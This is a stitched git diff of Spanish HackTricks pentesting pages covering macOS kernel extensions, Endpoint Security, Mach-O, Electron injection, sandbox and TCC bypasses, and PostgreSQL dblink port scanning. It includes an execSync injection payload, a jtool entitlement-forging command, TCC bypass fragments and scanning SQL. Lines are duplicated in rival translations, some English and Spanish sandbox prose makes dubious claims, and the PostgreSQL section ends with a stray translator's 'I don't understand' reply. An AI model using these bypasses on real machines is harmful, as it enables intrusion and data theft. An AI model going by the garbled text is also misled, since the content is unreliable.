* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
* Luego, el **usuario root** es el que puede cargar la extensión de kernel y los archivos dentro del paquete deben pertenecer a root.
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y si se acepta, la computadora debe **reiniciarse** para cargarla.
* Luego, el **usuario root** es el que puede cargar la extensión y los archivos dentro del paquete deben pertenecer a root.
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe **reiniciarse** para cargarla.
### Proceso de carga
En Catalina era así: Es interesante destacar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con la concesión **`com.apple.private.security.kext-management`** pueden **solicitar al kernel** que **cargue una extensión:** kextcache, kextload, kextutil, kextd, syspolicyd
1. **`kextutil`** cli **inicia** el proceso de verificación para cargar una extensión
* Se comunicará con **`kextd`** enviando usando un servicio Mach
* Se comunicará con **`kextd`** enviando un servicio Mach
2. **`kextd`** verificará varias cosas, como la firma
* Se comunicará con **`syspolicyd`** para verificar si se puede cargar la extensión
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no se ha cargado previamente

View File

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -16,7 +16,7 @@
A diferencia de las extensiones del kernel, las **extensiones del sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, lo que reduce el riesgo de un fallo del sistema debido al mal funcionamiento de la extensión.
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
Existen tres tipos de extensiones del sistema: extensiones de **DriverKit**, extensiones de **red** y extensiones de **seguridad de punto final**.
@ -56,20 +56,20 @@ Los eventos que el marco de seguridad de punto final puede monitorear se clasifi
### Arquitectura del marco de seguridad de punto final
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
La **comunicación del espacio de usuario** con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
* **EndpointSecurityDriverClient**: esto requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: esto requiere el permiso `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
* **EndpointSecurityDriverClient**: requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: requiere el permiso `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
Las extensiones de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
Las extensiones del sistema de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. Solo las extensiones del sistema marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema de seguridad** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
## Saltándose ESF
## Saltando ESF
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo rojo, por lo que cualquier información sobre cómo evitarlo suena interesante.

View File

@ -35,7 +35,7 @@ struct fat_arch {
El encabezado tiene los bytes **magic** seguidos del **número** de **archivos** que el archivo **contiene** (`nfat_arch`) y cada archivo tendrá una estructura `fat_arch`.
Compruébelo con:
Verifíquelo con:
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
@ -64,7 +64,7 @@ fat_magic FAT_MAGIC
o usando la herramienta [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Como puede estar pensando, por lo general, un binario universal compilado para 2 arquitecturas **duplica el tamaño** de uno compilado para solo 1 arquitectura.
@ -179,11 +179,11 @@ struct section_64 { /* for 64-bit architectures */
```
Ejemplo de **encabezado de sección**:
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
Si **agregas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
También es posible obtener **información de encabezado** desde la **línea de comandos** con:
```bash

View File

@ -6,7 +6,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -32,7 +32,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
Tenga en cuenta que ahora las aplicaciones de Electron **fortificadas** ignorarán los parámetros de nodo (como --inspect) cuando se inicien a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté establecida.
Tenga en cuenta que ahora las aplicaciones de Electron **fortificadas** con **RunAsNode** deshabilitado **ignorarán los parámetros de node** (como --inspect) cuando se inicien a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté establecida.
Sin embargo, aún podría usar el parámetro de electron `--remote-debugging-port=9229`, pero la carga útil anterior no funcionará para ejecutar otros procesos.
{% endhint %}

View File

@ -1,4 +1,4 @@
# Depuración y Bypass del Sandbox de macOS
# Depuración y Bypass de Sandbox en macOS
<details>
@ -6,36 +6,36 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Proceso de carga del Sandbox
## Proceso de carga de Sandbox
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Imagen de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
En la imagen anterior se puede observar **cómo se cargará el sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.
En la imagen anterior se puede observar **cómo se cargará la sandbox** cuando se ejecute una aplicación con la concesión **`com.apple.security.app-sandbox`**.
El compilador vinculará `/usr/lib/libSystem.B.dylib` al binario.
Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, el sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.
Luego, **`libSystem.B`** llamará a otras varias funciones hasta que **`xpc_pipe_routine`** envíe las concesiones de la aplicación a **`securityd`**. Securityd comprueba si el proceso debe ser puesto en cuarentena dentro de la Sandbox, y si es así, se pondrá en cuarentena.\
Finalmente, la sandbox se activará con una llamada a **`__sandbox_ms`** que llamará a **`__mac_syscall`**.
## Posibles Bypasses
{% hint style="warning" %}
Ten en cuenta que los **archivos creados por procesos en el sandbox** se les añade el **atributo de cuarentena** para evitar que se escape del sandbox.
Ten en cuenta que los **archivos creados por procesos en sandbox** se les añade el **atributo de cuarentena** para evitar que se escape de la sandbox.
{% endhint %}
### Ejecutar binarios sin Sandbox
Si ejecutas un binario que no esté en el sandbox desde un binario en el sandbox, se **ejecutará dentro del sandbox del proceso padre**.
Si ejecutas un binario que no esté en la sandbox desde un binario en sandbox, se **ejecutará dentro de la sandbox del proceso padre**.
### Depuración y bypass del Sandbox con lldb
### Depuración y bypass de Sandbox con lldb
Compilaremos una aplicación que debería estar en el sandbox:
Compilaremos una aplicación que debería estar en la sandbox:
{% tabs %}
{% tab title="sand.c" %}
@ -55,29 +55,29 @@ La sandbox de macOS es una característica de seguridad que limita el acceso de
## Depuración de la sandbox
Para depurar la sandbox de macOS, se puede utilizar el depurador `lldb`. Primero, se debe obtener el PID del proceso que se desea depurar. Esto se puede hacer con el comando `ps` o con el Monitor de Actividad de macOS. Una vez que se tiene el PID, se puede iniciar `lldb` con el siguiente comando:
Para depurar la sandbox de macOS, se puede utilizar el depurador `lldb`. Primero, se debe obtener el PID del proceso que se desea depurar. Esto se puede hacer con el comando `ps` o con la herramienta `Activity Monitor`. Una vez que se tiene el PID, se puede iniciar `lldb` con el siguiente comando:
```
$ lldb -p <PID>
sudo lldb -p <PID>
```
Una vez que se ha iniciado `lldb`, se puede utilizar el comando `process continue` para continuar la ejecución del proceso. En este punto, se puede establecer un punto de interrupción en el código de la aplicación y examinar el estado de la sandbox.
Una vez que se ha iniciado `lldb`, se puede utilizar el comando `process continue` para continuar la ejecución del proceso. En este punto, se puede establecer un punto de interrupción en el código que se desea depurar con el comando `breakpoint set`. Por ejemplo, para establecer un punto de interrupción en la función `open` de la biblioteca `libc.dylib`, se puede utilizar el siguiente comando:
```
breakpoint set -n open -s libc.dylib
```
Una vez que se ha establecido el punto de interrupción, se puede continuar la ejecución del proceso con el comando `process continue`. Cuando se alcance el punto de interrupción, `lldb` detendrá la ejecución del proceso y se podrá examinar el estado del mismo con los comandos de `lldb`.
## Bypass de la sandbox
Existen varias técnicas para evitar la sandbox de macOS. Una de ellas es utilizar una vulnerabilidad en la aplicación para obtener acceso a recursos del sistema que normalmente estarían restringidos por la sandbox. Otra técnica es utilizar una aplicación que ya tenga permisos para acceder a los recursos del sistema y que permita ejecutar comandos en nombre de la aplicación sandbox.
Para evitar la sandbox de macOS, se pueden utilizar varias técnicas. Una de ellas es la inyección de código en un proceso que ya tiene permisos para acceder a los recursos del sistema. Por ejemplo, se puede inyectar código en el proceso `Dock` para obtener permisos de root. Para hacer esto, se puede utilizar la herramienta `osxinj` de `libinject`.
Otra técnica es modificar el archivo `entitlements.xml` de la aplicación para agregar permisos adicionales. Esto se puede hacer utilizando una herramienta como `jtool`. Por ejemplo, para agregar el permiso `com.apple.security.cs.allow-jit` se puede ejecutar el siguiente comando:
Otra técnica es la explotación de vulnerabilidades en la sandbox de macOS. Por ejemplo, se puede explotar una vulnerabilidad en el kernel de macOS para obtener permisos de root. Para hacer esto, se puede utilizar una herramienta como `checkra1n`.
```
$ jtool --ent /path/to/app/Contents/MacOS/app | sed 's/<\/dict>/<key>com.apple.security.cs.allow-jit<\/key><true\/><\/dict>/' | jtool --sign --inplace --ent - /path/to/app/Contents/MacOS/app
```
Es importante tener en cuenta que estas técnicas son ilegales y solo deben ser utilizadas con fines educativos o en entornos controlados y autorizados. El uso indebido de estas técnicas puede tener consecuencias legales graves.
Esto agregará el permiso `com.apple.security.cs.allow-jit` al archivo `entitlements.xml` de la aplicación y permitirá que la aplicación ejecute código compilado en tiempo de ejecución.
## Conclusión
La sandbox de macOS es una característica importante de seguridad que limita el acceso de las aplicaciones a los recursos del sistema. Sin embargo, como cualquier medida de seguridad, no es infalible y puede ser vulnerada. Es importante comprender las técnicas utilizadas para depurar y evitar la sandbox de macOS para poder proteger adecuadamente los sistemas macOS.
{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
@ -92,31 +92,31 @@ La sandbox de macOS es una característica importante de seguridad que limita el
## macOS Sandbox Debug and Bypass
The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, it is not perfect and can be bypassed or debugged in certain circumstances. In this section, we will explore some techniques for debugging and bypassing the macOS sandbox.
The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, it is not perfect and can be bypassed or debugged in certain circumstances. This guide will cover some techniques for debugging and bypassing the macOS sandbox.
### Debugging the macOS Sandbox
Debugging the macOS sandbox can be useful for understanding how it works and identifying potential vulnerabilities. There are several tools that can be used for debugging the sandbox, including:
Debugging the macOS sandbox can be useful for understanding how it works and identifying potential vulnerabilities. There are several tools and techniques that can be used to debug the sandbox, including:
- **sandbox-exec**: This is a command-line tool that can be used to run a process in a sandbox and debug it. It allows you to specify the sandbox profile to use and provides options for tracing system calls and logging sandbox violations.
- **lldb**: The LLDB debugger can be used to attach to a sandboxed process and inspect its state. This can be useful for understanding how the sandbox is enforced and identifying potential vulnerabilities.
- **lldb**: This is a powerful debugger that can be used to attach to a process running in a sandbox and debug it. It allows you to set breakpoints, inspect memory, and modify variables.
- **dtrace**: DTrace can be used to trace system calls made by a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential vulnerabilities.
- **dtruss**: This is a tool that can be used to trace system calls made by a process running in a sandbox. It can be useful for understanding how the sandbox is enforcing restrictions on the process.
- **sysdiagnose**: The sysdiagnose tool can be used to collect diagnostic information about a sandboxed process. This can be useful for understanding how the sandbox is enforced and identifying potential vulnerabilities.
### Bypassing the macOS Sandbox
Bypassing the macOS sandbox can be useful for performing actions that are restricted by the sandbox. There are several techniques that can be used for bypassing the sandbox, including:
Bypassing the macOS sandbox can be useful for performing actions that are restricted by the sandbox. There are several techniques that can be used to bypass the sandbox, including:
- **Exploiting a vulnerability**: If a vulnerability exists in the sandbox or in a process running in the sandbox, it may be possible to exploit it to bypass the sandbox.
- **Exploiting a vulnerability**: If a vulnerability exists in the sandbox or in a process running within the sandbox, it may be possible to exploit this vulnerability to bypass the sandbox.
- **Using a signed binary**: If a binary is signed with a valid Apple Developer ID, it may be possible to bypass the sandbox by using a technique known as "entitlement spoofing". This involves modifying the binary to include additional entitlements that allow it to perform actions that are normally restricted by the sandbox.
- **Using a signed binary**: If a binary is signed with a valid Apple Developer ID, it may be possible to bypass the sandbox by using the binary to perform restricted actions.
- **Using a kernel extension**: If a kernel extension is loaded into the kernel, it can bypass the sandbox and perform actions that are normally restricted. However, loading a kernel extension requires root privileges and is not recommended.
- **Using a helper tool**: If a helper tool is installed on the system with elevated privileges, it may be possible to use the helper tool to perform restricted actions.
- **Using a third-party library**: If a third-party library is used by a process running in the sandbox, it may be possible to bypass the sandbox by exploiting a vulnerability in the library.
- **Modifying the sandbox profile**: If the sandbox profile for a process is modified to allow additional actions, it may be possible to bypass the sandbox.
It is important to note that bypassing the macOS sandbox is a serious security issue and should only be done for legitimate purposes, such as penetration testing or vulnerability research.
It is important to note that bypassing the macOS sandbox can be dangerous and may lead to security vulnerabilities. It should only be done in controlled environments for legitimate purposes, such as penetration testing or debugging.
```xml
<plist version="1.0">
<dict>
@ -230,7 +230,7 @@ Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
Incluso con el Sandbox evadido, TCC preguntará al usuario si desea permitir que el proceso lea archivos del escritorio.
**Incluso con el Sandbox evadido, TCC** preguntará al usuario si desea permitir que el proceso lea archivos del escritorio.
{% endhint %}
### Abusando de otros procesos

View File

@ -1,8 +1,22 @@
## Bypasses de TCC en macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Por funcionalidad
### Bypass de escritura
Esto no es un bypass, es simplemente cómo funciona TCC: **no protege de la escritura**. Si Terminal **no tiene acceso para leer el escritorio de un usuario, aún puede escribir en él**:
Esto no es un bypass, es simplemente cómo funciona TCC: **no protege de la escritura**. Si Terminal **no tiene acceso para leer el Escritorio de un usuario, aún puede escribir en él**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -12,7 +26,7 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** a leerlo.
### Bypass de SSH
@ -26,7 +40,7 @@ Aquí puede encontrar ejemplos de cómo algunos **malwares han podido evitar est
### Manejar extensiones - CVE-2022-26767
El atributo **`com.apple.macl`** se otorga a los archivos para darle a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
El atributo **`com.apple.macl`** se otorga a los archivos para dar a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo).
@ -121,7 +135,7 @@ $> ls ~/Documents
Notas tenía acceso a ubicaciones protegidas por TCC, pero cuando se crea una nota, esta se **crea en una ubicación no protegida**. Por lo tanto, se podría pedir a Notas que copie un archivo protegido en una nota (en una ubicación no protegida) y luego acceder al archivo:
<figure><img src="../../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-XXXX - Translocación
@ -187,7 +201,7 @@ __attribute__((constructor)) static void constructor(int argc, const char **argv
```
Para obtener más información, consulte el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Plug-ins de la capa de abstracción del dispositivo (DAL)
### Complementos de la capa de abstracción del dispositivo (DAL)
Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringidos por SIP).
@ -205,7 +219,7 @@ Existen diferentes técnicas para inyectar código dentro de un proceso y abusar
### Firefox
La aplicación Firefox sigue siendo vulnerable teniendo la concesión `com.apple.security.cs.disable-library-validation`:
La aplicación Firefox sigue siendo vulnerable al tener la concesión `com.apple.security.cs.disable-library-validation`:
```xml
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
@ -229,7 +243,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Para obtener más información sobre cómo explotar esto fácilmente, consulte el [**informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Para obtener más información sobre cómo explotar esto, consulte el [**informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
@ -278,7 +292,7 @@ exploit_location]; task.standardOutput = pipe;
```
## Mediante montaje
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de mount\_apfs
### CVE-2020-9771 - Bypass de TCC de montaje_apfs y escalada de privilegios
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
@ -353,7 +367,7 @@ La carpeta **`/var/db/locationd/` no estaba protegida de la montura de DMG**, po
En varias ocasiones, los archivos almacenarán información sensible como correos electrónicos, números de teléfono, mensajes... en ubicaciones no protegidas (lo que cuenta como una vulnerabilidad en Apple).
<figure><img src="../../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
## Referencia

View File

@ -3,7 +3,7 @@
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -13,7 +13,7 @@ Obtenga acceso hoy:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -80,7 +80,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Escaneo de puertos**
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran algunos ejemplos de estos detalles.
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@ -103,7 +103,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
Lo siento, no entiendo lo que quieres decir con "or". ¿Podrías proporcionar más contexto o información?
